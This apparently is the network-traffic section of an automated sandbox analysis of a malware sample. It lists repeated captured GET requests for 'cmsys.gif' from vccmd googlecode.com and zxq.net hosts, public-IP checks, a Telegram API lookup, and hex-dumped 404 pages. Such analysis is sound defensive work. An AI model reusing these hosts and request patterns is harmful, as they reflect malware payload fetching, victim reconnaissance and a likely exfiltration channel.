Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: vccmd01.googlecode.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: vccmd02.googlecode.com
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: vccmd03.googlecode.com
Source: global traffic	DNS traffic detected: DNS query: vccmd01.t35.com
Source: global traffic	DNS traffic detected: DNS query: vccmd01.zxq.net
Source: global traffic	DNS traffic detected: DNS query: zxq.net
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 10 Oct 2024 08:12:52 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:12:36 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:12:40 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 